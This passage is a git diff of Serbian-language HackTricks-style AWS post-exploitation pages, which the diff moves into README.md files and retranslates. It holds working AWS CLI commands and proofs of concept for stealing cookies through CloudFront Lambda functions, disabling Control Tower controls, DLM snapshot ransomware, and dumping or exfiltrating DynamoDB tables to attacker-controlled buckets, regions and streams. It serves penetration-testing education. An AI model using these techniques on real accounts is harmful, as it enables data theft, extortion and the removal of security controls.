post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) predlaže nekoliko različitih scenarija gde bi se **Lambda** mogla dodati (ili modifikovati ako se već koristi) u **komunikaciji kroz CloudFront** sa ciljem **krađe** korisničkih informacija (kao što je sesijski **kolačić**) i **modifikacije** **odgovora** (ubacivanje malicioznog JS skripta). - -#### scenario 1: MitM gde je CloudFront konfigurisana da pristupa nekom HTML-u iz bucket-a - -- **Kreirajte** malicioznu **funkciju**. -- **Povežite** je sa CloudFront distribucijom. -- Postavite **tip događaja na "Viewer Response"**. - -Pristupajući odgovoru, mogli biste ukrasti korisnički kolačić i ubaciti maliciozni JS. - -#### scenario 2: MitM gde CloudFront već koristi lambda funkciju - -- **Modifikujte kod** lambda funkcije da biste ukrali osetljive informacije. - -Možete proveriti [**tf kod za rekreiranje ovih scenarija ovde**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md new file mode 100644 index 000000000..06778e914 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md @@ -0,0 +1,31 @@ +# AWS - CloudFront Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## CloudFront + +Za više informacija pogledajte: + +{{#ref}} +../../aws-services/aws-cloudfront-enum.md +{{#endref}} + +### Man-in-the-Middle + +Ovaj [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) predlaže nekoliko različitih scenarija gde bi se **Lambda** mogla dodati (ili izmeniti ako se već koristi) u **komunikaciju kroz CloudFront** sa ciljem **krađe** korisničkih informacija (kao što je session **cookie**) i **izmene** **response** (ubacivanje zlonamernog JS skripta). + +#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket + +- **Kreirajte** zlonamernu **function**. +- **Povežite** je sa CloudFront distribution. +- Podesite **event type to "Viewer Response"**. + +Pristupanjem **response**-u možete ukrasti korisnički **cookie** i ubaciti zlonamerni JS. + +#### scenario 2: MitM where CloudFront is already using a lambda function + +- **Izmenite kod** lambda **function**-a da ukradete osetljive informacije + +You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md deleted file mode 100644 index da515be0d..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md +++ /dev/null @@ -1,18 +0,0 @@ -# AWS - Kontrolna Kula Post Eksploatacija - -{{#include ../../../banners/hacktricks-training.md}} - -## Kontrolna Kula - -{{#ref}} -../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md -{{#endref}} - -### Omogućite / Onemogućite Kontrole - -Da biste dodatno iskoristili nalog, možda ćete morati da onemogućite/omogućite kontrole Kontrolne Kule: -```bash -aws controltower disable-control --control-identifier --target-identifier -aws controltower enable-control --control-identifier --target-identifier -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md new file mode 100644 index 000000000..a51e779d3 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md @@ -0,0 +1,18 @@ +# AWS - Control Tower Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Control Tower + +{{#ref}} +../../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md +{{#endref}} + +### Omogućavanje / onemogućavanje kontrola + +Da biste dalje izvršili exploit nad nalogom, možda ćete morati onemogućiti/omogućiti Control Tower controls: +```bash +aws controltower disable-control --control-identifier --target-identifier +aws controltower enable-control --control-identifier --target-identifier +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md deleted file mode 100644 index 96b70ad10..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md +++ /dev/null @@ -1,91 +0,0 @@ -# AWS - DLM Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Data Lifecycle Manger (DLM) - -### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy` - -Napad ransomware-a može se izvršiti šifrovanjem što više EBS volumena kao što je moguće, a zatim brisanjem trenutnih EC2 instanci, EBS volumena i snimaka. Da bi se automatizovala ova zla aktivnost, može se koristiti Amazon DLM, šifrujući snimke sa KMS ključem iz drugog AWS naloga i prebacujući šifrovane snimke na drugi nalog. Alternativno, mogu prebaciti snimke bez šifrovanja na nalog koji upravljaju, a zatim ih tamo šifrovati. Iako nije jednostavno direktno šifrovati postojeće EBS volumene ili snimke, to je moguće učiniti kreiranjem novog volumena ili snimka. - -Prvo, koristiće se komanda za prikupljanje informacija o volumenima, kao što su ID instance, ID volumena, status šifrovanja, status povezivanja i tip volumena. - -`aws ec2 describe-volumes` - -Drugo, kreiraće se politika životnog ciklusa. Ova komanda koristi DLM API za postavljanje politike životnog ciklusa koja automatski pravi dnevne snimke određenih volumena u određenom vremenu. Takođe primenjuje specifične oznake na snimke i kopira oznake sa volumena na snimke. Datoteka policyDetails.json uključuje detalje politike životnog ciklusa, kao što su ciljne oznake, raspored, ARN opcionalnog KMS ključa za šifrovanje i ciljni nalog za deljenje snimaka, koji će biti zabeleženi u CloudTrail logovima žrtve. -```bash -aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json -``` -Šablon za dokument politike može se videti ovde: -```bash -{ -"PolicyType": "EBS_SNAPSHOT_MANAGEMENT", -"ResourceTypes": [ -"VOLUME" -], -"TargetTags": [ -{ -"Key": "ExampleKey", -"Value": "ExampleValue" -} -], -"Schedules": [ -{ -"Name": "DailySnapshots", -"CopyTags": true, -"TagsToAdd": [ -{ -"Key": "SnapshotCreator", -"Value": "DLM" -} -], -"VariableTags": [ -{ -"Key": "CostCenter", -"Value": "Finance" -} -], -"CreateRule": { -"Interval": 24, -"IntervalUnit": "HOURS", -"Times": [ -"03:00" -] -}, -"RetainRule": { -"Count": 14 -}, -"FastRestoreRule": { -"Count": 2, -"Interval": 12, -"IntervalUnit": "HOURS" -}, -"CrossRegionCopyRules": [ -{ -"TargetRegion": "us-west-2", -"Encrypted": true, -"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id", -"CopyTags": true, -"RetainRule": { -"Interval": 1, -"IntervalUnit": "DAYS" -} -} -], -"ShareRules": [ -{ -"TargetAccounts": [ -"123456789012" -], -"UnshareInterval": 30, -"UnshareIntervalUnit": "DAYS" -} -] -} -], -"Parameters": { -"ExcludeBootVolume": false -} -} -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md new file mode 100644 index 000000000..3912b4eb4 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md @@ -0,0 +1,91 @@ +# AWS - DLM Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Data Lifecycle Manger (DLM) + +### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy` + +Ransomware napad se može izvesti enkriptovanjem što većeg broja EBS volumes, a zatim brisanjem trenutnih EC2 instances, EBS volumes i snapshots. Da bi se ova maliciozna aktivnost automatizovala, može se koristiti Amazon DLM, šifrujući snapshots KMS key-om iz drugog AWS account-a i prebacujući enkriptovane snapshots na drugi account. Alternativno, mogu prebaciti snapshots bez enkripcije na account kojim upravljaju i potom ih tamo enkriptovati. Iako nije direktno jednostavno enkriptovati postojeće EBS volumes ili snapshots, moguće je to postići kreiranjem novog volume-a ili snapshot-a. + +Prvo će se koristiti komanda za prikupljanje informacija o volumima, kao što su instance ID, volume ID, encryption status, attachment status i volume type. + +`aws ec2 describe-volumes` + +Zatim će se kreirati lifecycle policy. Ova komanda koristi DLM API da postavi lifecycle policy koji automatski pravi dnevne snapshots navedenih volumena u određeno vreme. Takođe primenjuje specifične tags na snapshots i kopira tags sa volumena na snapshots. Datoteka policyDetails.json sadrži detalje lifecycle policy-ja, kao što su target tags, schedule, ARN opcionalnog KMS key-a za enkripciju i target account za deljenje snapshot-ova, što će biti zabeleženo u CloudTrail logovima žrtve. +```bash +aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json +``` +Predložak dokumenta politike može se videti ovde: +```bash +{ +"PolicyType": "EBS_SNAPSHOT_MANAGEMENT", +"ResourceTypes": [ +"VOLUME" +], +"TargetTags": [ +{ +"Key": "ExampleKey", +"Value": "ExampleValue" +} +], +"Schedules": [ +{ +"Name": "DailySnapshots", +"CopyTags": true, +"TagsToAdd": [ +{ +"Key": "SnapshotCreator", +"Value": "DLM" +} +], +"VariableTags": [ +{ +"Key": "CostCenter", +"Value": "Finance" +} +], +"CreateRule": { +"Interval": 24, +"IntervalUnit": "HOURS", +"Times": [ +"03:00" +] +}, +"RetainRule": { +"Count": 14 +}, +"FastRestoreRule": { +"Count": 2, +"Interval": 12, +"IntervalUnit": "HOURS" +}, +"CrossRegionCopyRules": [ +{ +"TargetRegion": "us-west-2", +"Encrypted": true, +"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id", +"CopyTags": true, +"RetainRule": { +"Interval": 1, +"IntervalUnit": "DAYS" +} +} +], +"ShareRules": [ +{ +"TargetAccounts": [ +"123456789012" +], +"UnshareInterval": 30, +"UnshareIntervalUnit": "DAYS" +} +] +} +], +"Parameters": { +"ExcludeBootVolume": false +} +} +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md similarity index 65% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md index bcc325cc7..3ff7cf6ff 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md @@ -1,18 +1,18 @@ # AWS - DynamoDB Post Exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## DynamoDB Za više informacija pogledajte: {{#ref}} -../aws-services/aws-dynamodb-enum.md +../../aws-services/aws-dynamodb-enum.md {{#endref}} ### `dynamodb:BatchGetItem` -Napadač sa ovom dozvolom moći će da **dobije stavke iz tabela po primarnom ključu** (ne možete jednostavno zatražiti sve podatke iz tabele). To znači da morate znati primarne ključeve (možete ih dobiti iz metapodataka tabele pomoću `describe-table`). +Napadač koji ima ove dozvole će moći da **dohvati stavke iz tabela po primarnom ključu** (ne možete jednostavno zatražiti sve podatke iz tabele). To znači da morate znati primarne ključeve (možete ih dobiti preuzimanjem metapodataka tabele (`describe-table`). {{#tabs }} {{#tab name="json file" }} @@ -43,11 +43,11 @@ aws dynamodb batch-get-item \ {{#endtab }} {{#endtabs }} -**Mogući uticaj:** Indirektni privesc pronalaženjem osetljivih informacija u tabeli +**Potential Impact:** Indirektan privesc pronalaženjem osetljivih informacija u tabeli ### `dynamodb:GetItem` -**Slično prethodnim dozvolama** ova omogućava potencijalnom napadaču da pročita vrednosti iz samo jedne tabele ako poseduje primarni ključ unosa koji treba dohvatiti: +**Slično prethodnim dozvolama**, ova dozvola omogućava potencijalnom napadaču da pročita vrednosti iz samo 1 tabele ako je poznat primarni ključ unosa koji treba da se preuzme: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json @@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json } } ``` -Sa ovom dozvolom takođe je moguće koristiti **`transact-get-items`** metodu kao: +Sa ovom dozvolom moguće je takođe koristiti metodu **`transact-get-items`** na sledeći начин: ```json aws dynamodb transact-get-items \ --transact-items file:///tmp/a.json @@ -75,11 +75,11 @@ aws dynamodb transact-get-items \ } ] ``` -**Potential Impact:** Indirect privesc pronalaženjem osetljivih informacija u tabeli +**Potential Impact:** Indirektno privesc pronalaženjem osetljivih informacija u tabeli ### `dynamodb:Query` -**Slično prethodnim dozvolama** ova dozvola omogućava potencijalnom napadaču da pročita vrednosti iz samo jedne tabele, pod uslovom da poseduje primarni ključ zapisa koji želi da preuzme. Dozvoljava upotrebu [podskupa poređenja](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ali jedino poređenje dozvoljeno sa primarnim ključem (koji mora biti prisutan) je "EQ", tako da ne možete koristiti poređenje da dobijete celu bazu podataka u jednom zahtevu. +**Slično prethodnim dozvolama** ova dozvola omogućava potencijalnom napadaču da pročita vrednosti iz samo jedne tabele ako je poznat primarni ključ zapisa koji treba dobiti. Dozvoljava korišćenje [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ali je jedino poređenje dozvoljeno sa primarnim ključem (koji mora biti prisutan) "EQ", tako da ne možete koristiti poređenje da biste u jednom zahtevu dobili celu DB. {{#tabs }} {{#tab name="json file" }} @@ -107,35 +107,35 @@ aws dynamodb query \ {{#endtab }} {{#endtabs }} -**Potential Impact:** Indirect privesc pronalaženjem osetljivih informacija u tabeli +**Potencijalni uticaj:** Indirektan privesc pronalaženjem osetljivih informacija u tabeli ### `dynamodb:Scan` -Možete iskoristiti ovu dozvolu da lako **dump celu tabelu**. +Možete koristiti ovu dozvolu da **dump the entire table easily**. ```bash aws dynamodb scan --table-name #Get data inside the table ``` -**Potencijalni uticaj:** Neizravan privesc pronalaženjem osetljivih informacija u tabeli +**Potencijalni uticaj:** Indirect privesc pronalaženjem osetljivih informacija u tabeli ### `dynamodb:PartiQLSelect` -Možete koristiti ovu dozvolu da lako **dump** celu tabelu. +Možete koristiti ovu dozvolu da **lako dump-ujete celu tabelu**. ```bash aws dynamodb execute-statement \ --statement "SELECT * FROM ProductCatalog" ``` -Ovo dopuštenje takođe omogućava izvršavanje `batch-execute-statement` kao: +Ovo dopuštenje takođe omogućava izvršavanje `batch-execute-statement`, na primer: ```bash aws dynamodb batch-execute-statement \ --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' ``` -ali morate navesti primarni ključ sa vrednošću, pa to nije toliko korisno. +međutim, morate specificirati primarni ključ sa vrednošću, pa to nije naročito korisno. -**Potencijalni uticaj:** Indirektan privesc pronalaženjem osetljivih informacija u tabeli +**Potencijalni uticaj:** Indirektni privesc kroz pronalaženje osetljivih informacija u tabeli ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` -Ovo ovlašćenje će omogućiti attacker-u da **izveze celu tabelu u S3 bucket** po svom izboru: +Ovo dopuštenje će napadaču omogućiti da **izveze celu tabelu u S3 bucket po svom izboru**: ```bash aws dynamodb export-table-to-point-in-time \ --table-arn arn:aws:dynamodb:::table/TargetTable \ @@ -144,29 +144,30 @@ aws dynamodb export-table-to-point-in-time \ --export-time \ --region ``` -Imajte na umu da, da bi ovo radilo, tabela mora imati omogućen point-in-time-recovery; možete proveriti da li tabela to ima pomoću: +Obratite pažnju: da bi ovo funkcionisalo, tabela mora imati uključen point-in-time-recovery. Možete proveriti da li tabela to ima pomoću: ```bash aws dynamodb describe-continuous-backups \ --table-name ``` -Ako nije omogućen, moraćete да га **omogućite** и за то вам је потребна **`dynamodb:ExportTableToPointInTime`** дозвола: +Ako nije omogućeno, moraćete **to omogućiti**, a za to vam je potrebna dozvola **`dynamodb:ExportTableToPointInTime`**: ```bash aws dynamodb update-continuous-backups \ --table-name \ --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true ``` -**Potencijalni uticaj:** Indirektni privesc pronalaženjem osetljivih informacija u tabeli +**Potencijalni uticaj:** Indirect privesc pronalaženjem osetljivih informacija u tabeli ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` -Sa ovim dozvolama, napadač bi mogao da **kreira novu tabelu iz backup-a** (ili čak napravi backup da bi ga potom vratio u drugu tabelu). Zatim, uz neophodne dozvole, mogao bi da pregleda **informacije** iz backup-ova koje **više ne bi bile u proizvodnoj** tabeli. + +Sa ovim dozvolama, napadač bi mogao da **kreira novu tabelu iz backup-a** (ili čak napravi backup pa ga potom vrati u drugu tabelu). Zatim, uz neophodne dozvole, on bi mogao da pregleda **informacije** iz backup-ova koje **više ne bi bile u produkcionoj** tabeli. ```bash aws dynamodb restore-table-from-backup \ --backup-arn \ --target-table-name \ --region ``` -**Potencijalni uticaj:** Neizravno privesc pronalaženjem osetljivih informacija u rezervnoj kopiji tabele +**Potencijalni uticaj:** Indirect privesc pronalaženjem osetljivih informacija u rezervnoj kopiji tabele ### `dynamodb:PutItem` @@ -202,11 +203,11 @@ aws dynamodb put-item \ {{#endtab }} {{#endtabs }} -**Potencijalni uticaj:** Moguća eksploatacija dodatnih ranjivosti/zaobilaženja omogućavanjem dodavanja/izmene podataka u DynamoDB tabeli +**Potencijalni uticaj:** Iskorišćavanje dodatnih ranjivosti/zaobilaženja omogućeno mogućnošću dodavanja ili izmene podataka u DynamoDB tabeli ### `dynamodb:UpdateItem` -Ovo dopuštenje omogućava korisnicima da **izmene postojeće atribute stavke ili dodaju nove atribute stavci**. Ne **zamenjuje** celu stavku; ažurira samo navedene atribute. Ako primarni ključ ne postoji u tabeli, operacija će **kreirati novu stavku** sa navedenim primarnim ključem i postaviti atribute navedene u izrazu za ažuriranje. +Ova dozvola omogućava korisnicima da **izmene postojeće atribute stavke ili dodaju nove atribute stavci**. Ona **ne zamenjuje** celu stavku; samo ažurira navedene atribute. Ako primarni ključ ne postoji u tabeli, operacija će **kreirati novu stavku** sa navedenim primarnim ključem i postaviti atribute navedene u izrazu za ažuriranje. {{#tabs }} {{#tab name="XSS Example" }} @@ -242,7 +243,7 @@ aws dynamodb update-item \ {{#endtab }} {{#endtabs }} -**Potencijalni uticaj:** Iskorišćavanje daljih ranjivosti/bypasses omogućavajući dodavanje/izmenu podataka u DynamoDB tabeli +**Potencijalni uticaj:** Eksploatacija daljih vulnerabilities/bypasses omogućavajući dodavanje/izmenu podataka u DynamoDB tabeli ### `dynamodb:DeleteTable` @@ -256,35 +257,35 @@ aws dynamodb delete-table \ ### `dynamodb:DeleteBackup` -Napadač sa ovom dozvolom može **izbrisati rezervnu kopiju DynamoDB-a, što može dovesti do gubitka podataka u slučaju scenarija oporavka od katastrofe**. +Napadač sa ovom dozvolom može **izbrisati DynamoDB rezervnu kopiju, potencijalno prouzrokovati gubitak podataka u scenariju oporavka od katastrofe**. ```bash aws dynamodb delete-backup \ --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ --region ``` -**Potencijalni uticaj**: Gubitak podataka i nemogućnost oporavka iz backup-a tokom scenarija oporavka od katastrofe. +**Potencijalni uticaj**: Gubitak podataka i nemogućnost oporavka iz rezervne kopije tokom scenarija oporavka od katastrofe. ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` > [!NOTE] -> TODO: Testirati da li ovo zaista radi +> TODO: Testirati da li ovo zapravo radi -Napadač sa ovim dozvolama može **omogućiti stream na DynamoDB tabeli, ažurirati tabelu da počne sa streamovanjem promena, i zatim pristupiti streamu kako bi pratio promene na tabeli u realnom vremenu**. Ovo omogućava napadaču da nadgleda i exfiltrate promene podataka, što može dovesti do data leakage. +Napadač sa ovim dozvolama može **omogućiti stream na DynamoDB tabeli, ažurirati tabelu da počne da strimuje promene, i potom pristupiti streamu kako bi nadgledao promene u tabeli u realnom vremenu**. Ovo omogućava napadaču da nadgleda i exfiltrate data changes, što potencijalno može dovesti do data leakage. -1. Enable a stream on a DynamoDB table: +1. Omogućiti stream na DynamoDB tabeli: ```bash aws dynamodb update-table \ --table-name TargetTable \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ --region ``` -2. Opišite stream da biste dobili ARN i druge detalje: +2. Opišite stream kako biste dobili ARN i ostale detalje: ```bash aws dynamodb describe-stream \ --table-name TargetTable \ --region ``` -3. Dobijte shard iterator koristeći stream ARN: +3. Nabavite shard iterator koristeći stream ARN: ```bash aws dynamodbstreams get-shard-iterator \ --stream-arn \ @@ -292,22 +293,22 @@ aws dynamodbstreams get-shard-iterator \ --shard-iterator-type LATEST \ --region ``` -4. Koristite shard iterator da pristupite i exfiltrate podatke iz stream-a: +4. Koristite shard iterator da pristupite i exfiltrate podatke iz streama: ```bash aws dynamodbstreams get-records \ --shard-iterator \ --region ``` -**Potencijalni uticaj**: Nadzor u realnom vremenu i data leakage promena u DynamoDB tabeli. +**Potential impact**: Praćenje u realnom vremenu i curenje podataka o izmenama u DynamoDB tabeli. -### Čitanje stavki putem `dynamodb:UpdateItem` i `ReturnValues=ALL_OLD` +### Čitanje stavki pomoću `dynamodb:UpdateItem` i `ReturnValues=ALL_OLD` -Napadač koji ima samo `dynamodb:UpdateItem` na tabeli može čitati stavke bez uobičajenih read permisija (`GetItem`/`Query`/`Scan`) tako što će izvršiti bezopasnu izmenu i zatražiti `--return-values ALL_OLD`. DynamoDB će vratiti punu pre-izmenjenu sliku stavke u polju `Attributes` odgovora (ovo ne troši RCUs). +Napadač koji ima samo `dynamodb:UpdateItem` dozvolu na tabeli može pročitati stavke bez uobičajenih read dozvola (`GetItem`/`Query`/`Scan`) tako što će izvršiti bezopasnu izmenu i zatražiti `--return-values ALL_OLD`. DynamoDB će vratiti kompletnu pre-izmene sliku stavke u polju `Attributes` odgovora (ovo ne troši RCU). -- Minimalne dozvole: `dynamodb:UpdateItem` na ciljanoj tabeli/ključu. -- Preduslovi: Morate znati primarni ključ stavke. +- Minimalne dozvole: `dynamodb:UpdateItem` na ciljanoj tabeli/ključa. +- Preduslovi: morate znati primarni ključ stavke. -Primer (dodaje bezopasni atribut i iznosi prethodnu stavku u odgovoru): +Primer (dodaje bezopasni atribut i exfiltrates prethodnu stavku u odgovoru): ```bash aws dynamodb update-item \ --table-name \ @@ -318,14 +319,14 @@ aws dynamodb update-item \ --return-values ALL_OLD \ --region ``` -CLI odgovor će uključiti blok `Attributes` koji sadrži kompletnu prethodnu stavku (sve atribute), efikasno obezbeđujući read primitive iz write-only access. +CLI odgovor će uključivati blok `Attributes` koji sadrži kompletan prethodni item (sve atribute), čime se efektivno obezbeđuje primitiv za čitanje iz pristupa koji je samo za pisanje. -**Potencijalni uticaj:** Čitanje proizvoljnih stavki iz tabele sa samo write dozvolama, omogućavajući eksfiltraciju osetljivih podataka kada su poznati primarni ključevi. +**Potencijalni uticaj:** Čitanje proizvoljnih stavki iz tabele samo sa dozvolama za pisanje, omogućavajući eksfiltraciju osetljivih podataka kada su poznati primarni ključevi. ### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica` -Nenametljiva eksfiltracija dodavanjem nove regionalne replike u DynamoDB Global Table (verzija 2019.11.21). Ako principal može da doda regionalnu repliku, cela tabela se replicira u Region koji izabere napadač, iz kojeg napadač može pročitati sve stavke. +Tiha eksfiltracija dodavanjem nove regionalne replike u DynamoDB Global Table (verzija 2019.11.21). Ako principal može dodati regionalnu repliku, cela tabela će biti replicirana u Region po izboru napadača, iz kojeg napadač može pročitati sve stavke. {{#tabs }} {{#tab name="PoC (default DynamoDB-managed KMS)" }} @@ -354,13 +355,13 @@ aws dynamodb update-table \ {{#endtab }} {{#endtabs }} -Dozvole: `dynamodb:UpdateTable` (sa `replica-updates`) ili `dynamodb:CreateTableReplica` na ciljnoj tabeli. Ako se CMK koristi u replici, mogu biti potrebne KMS dozvole za taj ključ. +Dozvole: `dynamodb:UpdateTable` (sa `replica-updates`) ili `dynamodb:CreateTableReplica` na ciljnoj tabeli. Ako se u repliki koristi CMK, mogu biti potrebne KMS dozvole za taj ključ. -Potencijalni uticaj: replikacija cele tabele u region koji kontroliše napadač, što dovodi do prikrivenog iznošenja podataka. +Mogući uticaj: Replikacija cele tabele u regiju pod kontrolom napadača što vodi do prikrivene eksfiltracije podataka. -### `dynamodb:TransactWriteItems` (čitanje putem neuspelog uslova + `ReturnValuesOnConditionCheckFailure=ALL_OLD`) +### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`) -Napadač sa privilegijama za transakcijsko pisanje može izneti kompletne atribute postojeće stavke izvršavanjem `Update` unutar `TransactWriteItems` koji namerno izaziva neuspeh `ConditionExpression`, dok je podešen `ReturnValuesOnConditionCheckFailure=ALL_OLD`. U slučaju neuspeha, DynamoDB uključuje prethodne atribute u razloge otkazivanja transakcije, efikasno pretvarajući pristup samo za pisanje u pristup za čitanje ciljanih ključeva. +Napadač sa privilegijama za transakcione write operacije može eksfiltrirati kompletne atribute postojeće stavke izvršavajući `Update` unutar `TransactWriteItems` koji namerno izaziva neuspeh `ConditionExpression` dok je postavljeno `ReturnValuesOnConditionCheckFailure=ALL_OLD`. U slučaju neuspeha, DynamoDB uključuje prethodne atribute u razloge otkazivanja transakcije, efektivno pretvarajući pristup samo za pisanje u pristup za čitanje ciljnih ključeva. {{#tabs }} {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }} @@ -409,21 +410,21 @@ print(e.response['CancellationReasons'][0]['Item']) {{#endtab }} {{#endtabs }} -Permissions: `dynamodb:TransactWriteItems` on the target table (and the underlying item). No read permissions are required. +Dozvole: `dynamodb:TransactWriteItems` on the target table (and the underlying item). Nisu potrebne dozvole za čitanje. -Potential Impact: Čitanje proizvoljnih stavki (prema primarnom ključu) iz tabele koristeći samo transakcione privilegije pisanja putem vraćenih razloga za otkazivanje. +Mogući uticaj: Pročitajte proizvoljne stavke (po primarnom ključu) iz tabele koristeći samo transakcione privilegije za upis preko vraćenih razloga za otkazivanje. -### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI +### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` na GSI -Zaobiđite restrikcije čitanja kreiranjem Globalnog sekundarnog indeksa (GSI) sa `ProjectionType=ALL` na atributu sa niskom entropijom, postavite taj atribut na konstantnu vrednost za sve stavke, zatim `Query`-ujte indeks da biste povratili pune stavke. Ovo radi čak i ako su `Query`/`Scan` na osnovnoj tabeli odbijeni, sve dok možete da izvršite query na ARN indeksa. +Zaobiđite ograničenja čitanja kreiranjem Global Secondary Index (GSI) sa `ProjectionType=ALL` na atributu male entropije, postavite taj atribut na konstantnu vrednost za stavke, zatim `Query` indeks da biste dohvatili kompletne stavke. Ovo radi čak i ako su `Query`/`Scan` na osnovnoj tabeli odbijeni, pod uslovom da možete da query-ujete ARN indeksa. -- Minimum permissions: +- Minimalne dozvole: - `dynamodb:UpdateTable` on the target table (da kreirate GSI sa `ProjectionType=ALL`). - `dynamodb:UpdateItem` on the target table keys (da postavite indeksirani atribut na svakoj stavci). -- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:::table//index/`). +- `dynamodb:Query` na ARN resursa indeksa (`arn:aws:dynamodb:::table//index/`). -Steps (PoC in us-east-1): +Koraci (PoC u us-east-1): ```bash # 1) Create table and seed items (without the future GSI attribute) aws dynamodb create-table --table-name HTXIdx \ @@ -461,17 +462,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \ --expression-attribute-values '{":v":{"S":"dump"}}' \ --region us-east-1 ``` -**Potencijalni uticaj:** Full table exfiltration upitivanjem novostvorenog GSI koji projicira sve atribute, čak i kada su base table read APIs uskraćeni. +**Potencijalni uticaj:** Potpuna eksfiltracija tabele upitima novokreiranog GSI koji projicira sve atribute, čak i kada su API-ji za čitanje osnovne tabele odbijeni. -### `dynamodb:EnableKinesisStreamingDestination` (Kontinuirana exfiltration putem Kinesis Data Streams) +### `dynamodb:EnableKinesisStreamingDestination` (Kontinuirana eksfiltracija putem Kinesis Data Streams) -Zloupotreba DynamoDB Kinesis streaming destinations za kontinuiranu exfiltration promena iz tabele u attacker-controlled Kinesis Data Stream. Nakon što je omogućeno, svaki INSERT/MODIFY/REMOVE event se prosleđuje gotovo u realnom vremenu u stream bez potrebe za read permissions na tabeli. +Zloupotreba DynamoDB Kinesis streaming destinacija za kontinuiranu eksfiltraciju promena iz tabele u Kinesis Data Stream pod kontrolom napadača. Kada se omogući, svaki INSERT/MODIFY/REMOVE događaj se približno u realnom vremenu prosleđuje u stream bez potrebe za dozvolama za čitanje tabele. -Minimum permissions (napadač): -- `dynamodb:EnableKinesisStreamingDestination` on the target table +Minimalne dozvole (za napadača): +- `dynamodb:EnableKinesisStreamingDestination` na ciljnoj tabeli - Opcionalno 